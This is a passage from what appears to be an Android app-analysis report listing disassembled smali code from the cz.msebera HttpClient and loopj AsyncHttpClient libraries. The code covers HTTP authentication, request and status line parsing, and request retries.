        12invoke-virtual {v3}, Lcz/msebera/android/httpclient/auth/AuthProtocolState;->ordinal()I
        13move-result v3
        14aget v2, v2, v3
        15packed-switch v2, :pswitch_data_ce
        16goto/16 :goto_9c
        17pswitch_19:
        18invoke-virtual {p1}, Lcz/msebera/android/httpclient/auth/AuthState;->getAuthOptions()Ljava/util/Queue;
        19move-result-object v2
        20if-eqz v2, :cond_8d
        21cond_1f:
        22invoke-interface {v2}, Ljava/util/Queue;->isEmpty()Z
        23move-result v0
        24if-nez v0, :cond_8c
        26invoke-interface {v2}, Ljava/util/Queue;->remove()Ljava/lang/Object;
        27move-result-object v0
        28check-cast v0, Lcz/msebera/android/httpclient/auth/AuthOption;
        30invoke-virtual {v0}, Lcz/msebera/android/httpclient/auth/AuthOption;->getAuthScheme()Lcz/msebera/android/httpclient/auth/AuthScheme;
        31move-result-object v1
        33invoke-virtual {v0}, Lcz/msebera/android/httpclient/auth/AuthOption;->getCredentials()Lcz/msebera/android/httpclient/auth/Credentials;
        34move-result-object v0
        36invoke-virtual {p1, v1, v0}, Lcz/msebera/android/httpclient/auth/AuthState;->update(Lcz/msebera/android/httpclient/auth/AuthScheme;Lcz/msebera/android/httpclient/auth/Credentials;)V
        38iget-object v3, p0, Lcz/msebera/android/httpclient/client/protocol/RequestAuthenticationBase;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        40invoke-virtual {v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        41move-result v3
        42if-eqz v3, :cond_5d
        44iget-object v3, p0, Lcz/msebera/android/httpclient/client/protocol/RequestAuthenticationBase;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        45new-instance v4, Ljava/lang/StringBuilder;
        47invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
        49const-string v5, "Generating response to an authentication challenge using "
        51invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        53invoke-interface {v1}, Lcz/msebera/android/httpclient/auth/AuthScheme;->getSchemeName()Ljava/lang/String;
        54move-result-object v5
        56invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        58const-string v5, " scheme"
        60invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        62invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        63move-result-object v4
        65invoke-virtual {v3, v4}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        66try_start_5d:
        67invoke-direct {p0, v1, v0, p2, p3}, Lcz/msebera/android/httpclient/client/protocol/RequestAuthenticationBase;->authenticate(Lcz/msebera/android/httpclient/auth/AuthScheme;Lcz/msebera/android/httpclient/auth/Credentials;Lcz/msebera/android/httpclient/HttpRequest;Lcz/msebera/android/httpclient/protocol/HttpContext;)Lcz/msebera/android/httpclient/Header;
        68move-result-object v0
        70invoke-interface {p2, v0}, Lcz/msebera/android/httpclient/HttpRequest;->addHeader(Lcz/msebera/android/httpclient/Header;)V
        71try_end_64: goto/16 :goto_8c
        72catch_65: move-exception v0
        74iget-object v3, p0, Lcz/msebera/android/httpclient/client/protocol/RequestAuthenticationBase;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        76invoke-virtual {v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isWarnEnabled()Z
        77move-result v3
        78if-eqz v3, :cond_1f
        80iget-object v3, p0, Lcz/msebera/android/httpclient/client/protocol/RequestAuthenticationBase;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        81new-instance v4, Ljava/lang/StringBuilder;
        83invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
        85invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        87const-string v1, " authentication error: "
        89invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        91invoke-virtual {v0}, Lcz/msebera/android/httpclient/auth/AuthenticationException;->getMessage()Ljava/lang/String;
        92move-result-object v0
        94invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        96invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        97move-result-object v0
        99invoke-virtual {v3, v0}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->warn(Ljava/lang/Object;)V
        100goto/16 :goto_1f
        101cond_8c: return-void
        102cond_8d:
        103invoke-direct {p0, v0}, Lcz/msebera/android/httpclient/client/protocol/RequestAuthenticationBase;->ensureAuthScheme(Lcz/msebera/android/httpclient/auth/AuthScheme;)V
        104goto/16 :goto_9c
        105pswitch_91:
        106invoke-direct {p0, v0}, Lcz/msebera/android/httpclient/client/protocol/RequestAuthenticationBase;->ensureAuthScheme(Lcz/msebera/android/httpclient/auth/AuthScheme;)V
        108invoke-interface {v0}, Lcz/msebera/android/httpclient/auth/AuthScheme;->isConnectionBased()Z
        109move-result p1
        110if-eqz p1, :cond_9c
        111return-void
        112pswitch_9b: return-void
        113cond_9c: if-eqz v0, :cond_cc
        114try_start_9e:
        115invoke-direct {p0, v0, v1, p2, p3}, Lcz/msebera/android/httpclient/client/protocol/RequestAuthenticationBase;->authenticate(Lcz/msebera/android/httpclient/auth/AuthScheme;Lcz/msebera/android/httpclient/auth/Credentials;Lcz/msebera/android/httpclient/HttpRequest;Lcz/msebera/android/httpclient/protocol/HttpContext;)Lcz/msebera/android/httpclient/Header;
        116move-result-object p1
        118invoke-interface {p2, p1}, Lcz/msebera/android/httpclient/HttpRequest;->addHeader(Lcz/msebera/android/httpclient/Header;)V
        119try_end_a5: goto/16 :goto_cc
        120catch_a6: move-exception p1
        122iget-object p2, p0, Lcz/msebera/android/httpclient/client/protocol/RequestAuthenticationBase;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        124invoke-virtual {p2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isErrorEnabled()Z
        125move-result p2
        126if-eqz p2, :cond_cc
        128iget-object p2, p0, Lcz/msebera/android/httpclient/client/protocol/RequestAuthenticationBase;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        129new-instance p3, Ljava/lang/StringBuilder;
        131invoke-direct {p3}, Ljava/lang/StringBuilder;-><init>()V
        133invoke-virtual {p3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        135const-string v0, " authentication error: "
        137invoke-virtual {p3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        139invoke-virtual {p1}, Lcz/msebera/android/httpclient/auth/AuthenticationException;->getMessage()Ljava/lang/String;
        140move-result-object p1
        142invoke-virtual {p3, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        144invoke-virtual {p3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        145move-result-object p1
        147invoke-virtual {p2, p1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->error(Ljava/lang/Object;)V
        148goto_cc: return-void
        149nop
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.ParseException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.ParseException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.ParseException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.ParseException.<init>
        Strings
        • Char array buffer
        • Parser cursor
        • Invalid request line:
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/ParseException;
        3}
        4.end annotation
        6const-string v0, "Char array buffer"
        8invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        10const-string v0, "Parser cursor"
        12invoke-static {p2, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        14invoke-virtual {p2}, Lcz/msebera/android/httpclient/message/ParserCursor;->getPos()I
        15move-result v0
        17invoke-virtual {p2}, Lcz/msebera/android/httpclient/message/ParserCursor;->getUpperBound()I
        18move-result v1
        19try_start_12:
        20invoke-virtual {p0, p1, p2}, Lcz/msebera/android/httpclient/message/BasicLineParser;->skipWhitespace(Lcz/msebera/android/httpclient/util/CharArrayBuffer;Lcz/msebera/android/httpclient/message/ParserCursor;)V
        22invoke-virtual {p2}, Lcz/msebera/android/httpclient/message/ParserCursor;->getPos()I
        23move-result v2
        24const/16 v3, 0x20
        26invoke-virtual {p1, v3, v2, v1}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->indexOf(III)I
        27move-result v4
        28if-ltz v4, :cond_84
        30invoke-virtual {p1, v2, v4}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->substringTrimmed(II)Ljava/lang/String;
        31move-result-object v2
        33invoke-virtual {p2, v4}, Lcz/msebera/android/httpclient/message/ParserCursor;->updatePos(I)V
        35invoke-virtual {p0, p1, p2}, Lcz/msebera/android/httpclient/message/BasicLineParser;->skipWhitespace(Lcz/msebera/android/httpclient/util/CharArrayBuffer;Lcz/msebera/android/httpclient/message/ParserCursor;)V
        37invoke-virtual {p2}, Lcz/msebera/android/httpclient/message/ParserCursor;->getPos()I
        38move-result v4
        40invoke-virtual {p1, v3, v4, v1}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->indexOf(III)I
        41move-result v3
        42if-ltz v3, :cond_69
        44invoke-virtual {p1, v4, v3}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->substringTrimmed(II)Ljava/lang/String;
        45move-result-object v4
        47invoke-virtual {p2, v3}, Lcz/msebera/android/httpclient/message/ParserCursor;->updatePos(I)V
        49invoke-virtual {p0, p1, p2}, Lcz/msebera/android/httpclient/message/BasicLineParser;->parseProtocolVersion(Lcz/msebera/android/httpclient/util/CharArrayBuffer;Lcz/msebera/android/httpclient/message/ParserCursor;)Lcz/msebera/android/httpclient/ProtocolVersion;
        50move-result-object v3
        52invoke-virtual {p0, p1, p2}, Lcz/msebera/android/httpclient/message/BasicLineParser;->skipWhitespace(Lcz/msebera/android/httpclient/util/CharArrayBuffer;Lcz/msebera/android/httpclient/message/ParserCursor;)V
        54invoke-virtual {p2}, Lcz/msebera/android/httpclient/message/ParserCursor;->atEnd()Z
        55move-result p2
        56if-eqz p2, :cond_4e
        58invoke-virtual {p0, v2, v4, v3}, Lcz/msebera/android/httpclient/message/BasicLineParser;->createRequestLine(Ljava/lang/String;Ljava/lang/String;Lcz/msebera/android/httpclient/ProtocolVersion;)Lcz/msebera/android/httpclient/RequestLine;
        59move-result-object p2
        60return-object p2
        61cond_4e: new-instance p2, Lcz/msebera/android/httpclient/ParseException;
        62new-instance v2, Ljava/lang/StringBuilder;
        64invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        66const-string v3, "Invalid request line: "
        68invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        70invoke-virtual {p1, v0, v1}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->substring(II)Ljava/lang/String;
        71move-result-object v3
        73invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        75invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        76move-result-object v2
        78invoke-direct {p2, v2}, Lcz/msebera/android/httpclient/ParseException;-><init>(Ljava/lang/String;)V
        79throw p2
        80cond_69: new-instance p2, Lcz/msebera/android/httpclient/ParseException;
        81new-instance v2, Ljava/lang/StringBuilder;
        83invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        85const-string v3, "Invalid request line: "
        87invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        89invoke-virtual {p1, v0, v1}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->substring(II)Ljava/lang/String;
        90move-result-object v3
        92invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        94invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        95move-result-object v2
        97invoke-direct {p2, v2}, Lcz/msebera/android/httpclient/ParseException;-><init>(Ljava/lang/String;)V
        98throw p2
        99cond_84: new-instance p2, Lcz/msebera/android/httpclient/ParseException;
        100new-instance v2, Ljava/lang/StringBuilder;
        102invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        104const-string v3, "Invalid request line: "
        106invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        108invoke-virtual {p1, v0, v1}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->substring(II)Ljava/lang/String;
        109move-result-object v3
        111invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        113invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        114move-result-object v2
        116invoke-direct {p2, v2}, Lcz/msebera/android/httpclient/ParseException;-><init>(Ljava/lang/String;)V
        117throw p2
        118catch_9f: new-instance p2, Lcz/msebera/android/httpclient/ParseException;
        119new-instance v2, Ljava/lang/StringBuilder;
        121invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        123const-string v3, "Invalid request line: "
        125invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        127invoke-virtual {p1, v0, v1}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->substring(II)Ljava/lang/String;
        128move-result-object p1
        130invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        132invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        133move-result-object p1
        135invoke-direct {p2, p1}, Lcz/msebera/android/httpclient/ParseException;-><init>(Ljava/lang/String;)V
        136throw p2
        Cross References
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.NullPointerException.getMessage
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.io.IOException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.net.UnknownHostException.getMessage
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.io.IOException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.Exception.getMessage
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.io.IOException.<init>
        Strings
        • NPE in HttpClient:
        • UnknownHostException exception:
        • AsyncHttpRequest
        • Unhandled exception origin cause
        • Unhandled exception:
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;
        3}
        4.end annotation
        6iget-object v0, p0, Lcom/loopj/android/http/AsyncHttpRequest;->client:Lcz/msebera/android/httpclient/impl/client/AbstractHttpClient;
        8invoke-virtual {v0}, Lcz/msebera/android/httpclient/impl/client/AbstractHttpClient;->getHttpRequestRetryHandler()Lcz/msebera/android/httpclient/client/HttpRequestRetryHandler;
        9move-result-object v0
        10const/4 v1, 0x1
        11const/4 v2, 0x0
        12move-object v3, v2
        13const/4 v2, 0x1
        14cond_a: if-eqz v2, :cond_ad
        15try_start_c:
        16invoke-direct {p0}, Lcom/loopj/android/http/AsyncHttpRequest;->makeRequest()V
        17try_end_f: return-void
        18catch_10: move-exception v0
        19goto/16 :goto_8a
        20catch_13: move-exception v2
        21try_start_14:
        22invoke-virtual {p0}, Lcom/loopj/android/http/AsyncHttpRequest;->isCancelled()Z
        23move-result v3
        24if-eqz v3, :cond_1b
        25return-void
        26cond_1b: iget v3, p0, Lcom/loopj/android/http/AsyncHttpRequest;->executionCount:I
        27add-int/2addr v3, v1
        28iput v3, p0, Lcom/loopj/android/http/AsyncHttpRequest;->executionCount:I
        30iget-object v4, p0, Lcom/loopj/android/http/AsyncHttpRequest;->context:Lcz/msebera/android/httpclient/protocol/HttpContext;
        32invoke-interface {v0, v2, v3, v4}, Lcz/msebera/android/httpclient/client/HttpRequestRetryHandler;->retryRequest(Ljava/io/IOException;ILcz/msebera/android/httpclient/protocol/HttpContext;)Z
        33move-result v3
        34move v6, v3
        35move-object v3, v2
        36move v2, v6
        37goto/16 :goto_80
        38catch_2a: move-exception v2
        39new-instance v3, Ljava/io/IOException;
        40new-instance v4, Ljava/lang/StringBuilder;
        42invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
        44const-string v5, "NPE in HttpClient: "
        46invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        48invoke-virtual {v2}, Ljava/lang/NullPointerException;->getMessage()Ljava/lang/String;
        49move-result-object v2
        51invoke-virtual {v4, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        53invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        54move-result-object v2
        56invoke-direct {v3, v2}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V
        57iget v2, p0, Lcom/loopj/android/http/AsyncHttpRequest;->executionCount:I
        58add-int/2addr v2, v1
        59iput v2, p0, Lcom/loopj/android/http/AsyncHttpRequest;->executionCount:I
        61iget-object v4, p0, Lcom/loopj/android/http/AsyncHttpRequest;->context:Lcz/msebera/android/httpclient/protocol/HttpContext;
        63invoke-interface {v0, v3, v2, v4}, Lcz/msebera/android/httpclient/client/HttpRequestRetryHandler;->retryRequest(Ljava/io/IOException;ILcz/msebera/android/httpclient/protocol/HttpContext;)Z
        64move-result v2
        65goto/16 :goto_80
        66catch_51: move-exception v2
        67new-instance v3, Ljava/io/IOException;
        68new-instance v4, Ljava/lang/StringBuilder;
        70invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
        72const-string v5, "UnknownHostException exception: "
        74invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        76invoke-virtual {v2}, Ljava/net/UnknownHostException;->getMessage()Ljava/lang/String;
        77move-result-object v5
        79invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        81invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        82move-result-object v4
        84invoke-direct {v3, v4}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V
        85iget v4, p0, Lcom/loopj/android/http/AsyncHttpRequest;->executionCount:I
        86if-lez v4, :cond_7f
        87iget v4, p0, Lcom/loopj/android/http/AsyncHttpRequest;->executionCount:I
        88add-int/2addr v4, v1
        89iput v4, p0, Lcom/loopj/android/http/AsyncHttpRequest;->executionCount:I
        91iget-object v5, p0, Lcom/loopj/android/http/AsyncHttpRequest;->context:Lcz/msebera/android/httpclient/protocol/HttpContext;
        93invoke-interface {v0, v2, v4, v5}, Lcz/msebera/android/httpclient/client/HttpRequestRetryHandler;->retryRequest(Ljava/io/IOException;ILcz/msebera/android/httpclient/protocol/HttpContext;)Z
        94move-result v2
        95if-eqz v2, :cond_7f
        96const/4 v2, 0x1
        97goto/16 :goto_80
        98cond_7f: const/4 v2, 0x0
        99goto_80: if-eqz v2, :cond_a
        101iget-object v4, p0, Lcom/loopj/android/http/AsyncHttpRequest;->responseHandler:Lcom/loopj/android/http/ResponseHandlerInterface;
        102iget v5, p0, Lcom/loopj/android/http/AsyncHttpRequest;->executionCount:I
        104invoke-interface {v4, v5}, Lcom/loopj/android/http/ResponseHandlerInterface;->sendRetryMessage(I)V
        105try_end_89: goto/16 :goto_a
        106goto_8a:
        107sget-object v1, Lcom/loopj/android/http/AsyncHttpClient;->log:Lcom/loopj/android/http/LogInterface;
        109const-string v2, "AsyncHttpRequest"
        111const-string v3, "Unhandled exception origin cause"
        113invoke-interface {v1, v2, v3, v0}, Lcom/loopj/android/http/LogInterface;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
        114new-instance v3, Ljava/io/IOException;
        115new-instance v1, Ljava/lang/StringBuilder;
        117invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        119const-string v2, "Unhandled exception: "
        121invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        123invoke-virtual {v0}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
        124move-result-object v0
        126invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        128invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        129move-result-object v0
        131invoke-direct {v3, v0}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V
        132cond_ad: throw v3
        APIs
        • java.lang.String.length
        • java.lang.String.charAt
        • java.lang.Character.isDigit
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.ParseException.<init>
        • java.lang.Integer.parseInt
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.ParseException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.ParseException.<init>
        Strings
        • Char array buffer
        • Parser cursor
        • Status line contains invalid status code:
        • Invalid status line:
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/ParseException;
        3}
        4.end annotation
        6const-string v0, "Char array buffer"
        8invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        10const-string v0, "Parser cursor"
        12invoke-static {p2, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        14invoke-virtual {p2}, Lcz/msebera/android/httpclient/message/ParserCursor;->getPos()I
        15move-result v0
        17invoke-virtual {p2}, Lcz/msebera/android/httpclient/message/ParserCursor;->getUpperBound()I
        18move-result v1
        19try_start_12:
        20invoke-virtual {p0, p1, p2}, Lcz/msebera/android/httpclient/message/BasicLineParser;->parseProtocolVersion(Lcz/msebera/android/httpclient/util/CharArrayBuffer;Lcz/msebera/android/httpclient/message/ParserCursor;)Lcz/msebera/android/httpclient/ProtocolVersion;
        21move-result-object v2
        23invoke-virtual {p0, p1, p2}, Lcz/msebera/android/httpclient/message/BasicLineParser;->skipWhitespace(Lcz/msebera/android/httpclient/util/CharArrayBuffer;Lcz/msebera/android/httpclient/message/ParserCursor;)V
        25invoke-virtual {p2}, Lcz/msebera/android/httpclient/message/ParserCursor;->getPos()I
        26move-result p2
        27const/16 v3, 0x20
        29invoke-virtual {p1, v3, p2, v1}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->indexOf(III)I
        30move-result v3
        31if-gez v3, :cond_26
        32move v3, v1
        33cond_26:
        34invoke-virtual {p1, p2, v3}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->substringTrimmed(II)Ljava/lang/String;
        35move-result-object p2
        36const/4 v4, 0x0
        37goto_2b:
        38invoke-virtual {p2}, Ljava/lang/String;->length()I
        39move-result v5
        40if-ge v4, v5, :cond_59
        42invoke-virtual {p2, v4}, Ljava/lang/String;->charAt(I)C
        43move-result v5
        45invoke-static {v5}, Ljava/lang/Character;->isDigit(C)Z
        46move-result v5
        47if-eqz v5, :cond_3e
        48add-int/lit8 v4, v4, 0x1
        49goto/16 :goto_2b
        50cond_3e: new-instance p2, Lcz/msebera/android/httpclient/ParseException;
        51new-instance v2, Ljava/lang/StringBuilder;
        53invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        55const-string v3, "Status line contains invalid status code: "
        57invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        59invoke-virtual {p1, v0, v1}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->substring(II)Ljava/lang/String;
        60move-result-object v3
        62invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        64invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        65move-result-object v2
        67invoke-direct {p2, v2}, Lcz/msebera/android/httpclient/ParseException;-><init>(Ljava/lang/String;)V
        68throw p2
        69try_end_59:
        70invoke-static {p2}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
        71move-result p2
        72try_end_5d: if-ge v3, v1, :cond_64
        73try_start_5f:
        74invoke-virtual {p1, v3, v1}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->substringTrimmed(II)Ljava/lang/String;
        75move-result-object v3
        76goto/16 :goto_66
        77cond_64:
        78const-string v3, ""
        79goto_66:
        80invoke-virtual {p0, v2, p2, v3}, Lcz/msebera/android/httpclient/message/BasicLineParser;->createStatusLine(Lcz/msebera/android/httpclient/ProtocolVersion;ILjava/lang/String;)Lcz/msebera/android/httpclient/StatusLine;
        81move-result-object p2
        82return-object p2
        83catch_6b: new-instance p2, Lcz/msebera/android/httpclient/ParseException;
        84new-instance v2, Ljava/lang/StringBuilder;
        86invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        88const-string v3, "Status line contains invalid status code: "
        90invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        92invoke-virtual {p1, v0, v1}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->substring(II)Ljava/lang/String;
        93move-result-object v3
        95invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        97invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        98move-result-object v2
        100invoke-direct {p2, v2}, Lcz/msebera/android/httpclient/ParseException;-><init>(Ljava/lang/String;)V
        101throw p2
        102try_end_86: new-instance p2, Lcz/msebera/android/httpclient/ParseException;
        103new-instance v2, Ljava/lang/StringBuilder;
        105invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        107const-string v3, "Invalid status line: "
        109invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        111invoke-virtual {p1, v0, v1}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->substring(II)Ljava/lang/String;
        112move-result-object p1
        114invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        116invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        117move-result-object p1
        119invoke-direct {p2, p1}, Lcz/msebera/android/httpclient/ParseException;-><init>(Ljava/lang/String;)V
        120throw p2
        APIs
        • java.lang.String.length
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.String.equals
        • java.lang.StringBuilder.append
        • java.lang.String.equals
        • java.lang.StringBuilder.append
        • java.lang.String.equals
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • VersionInfo(
        • UNAVAILABLE
        Position Instruction Meta Information
        0new-instance v0, Ljava/lang/StringBuilder;
        2iget-object v1, p0, Lcz/msebera/android/httpclient/util/VersionInfo;->infoPackage:Ljava/lang/String;
        4invoke-virtual {v1}, Ljava/lang/String;->length()I
        5move-result v1
        6add-int/lit8 v1, v1, 0x14
        8iget-object v2, p0, Lcz/msebera/android/httpclient/util/VersionInfo;->infoModule:Ljava/lang/String;
        10invoke-virtual {v2}, Ljava/lang/String;->length()I
        11move-result v2
        12add-int/2addr v1, v2
        14iget-object v2, p0, Lcz/msebera/android/httpclient/util/VersionInfo;->infoRelease:Ljava/lang/String;
        16invoke-virtual {v2}, Ljava/lang/String;->length()I
        17move-result v2
        18add-int/2addr v1, v2
        20iget-object v2, p0, Lcz/msebera/android/httpclient/util/VersionInfo;->infoTimestamp:Ljava/lang/String;
        22invoke-virtual {v2}, Ljava/lang/String;->length()I
        23move-result v2
        24add-int/2addr v1, v2
        26iget-object v2, p0, Lcz/msebera/android/httpclient/util/VersionInfo;->infoClassloader:Ljava/lang/String;
        28invoke-virtual {v2}, Ljava/lang/String;->length()I
        29move-result v2
        30add-int/2addr v1, v2
        32invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(I)V
        34const-string v1, "VersionInfo("
        36invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        38iget-object v1, p0, Lcz/msebera/android/httpclient/util/VersionInfo;->infoPackage:Ljava/lang/String;
        40invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        41const/16 v1, 0x3a
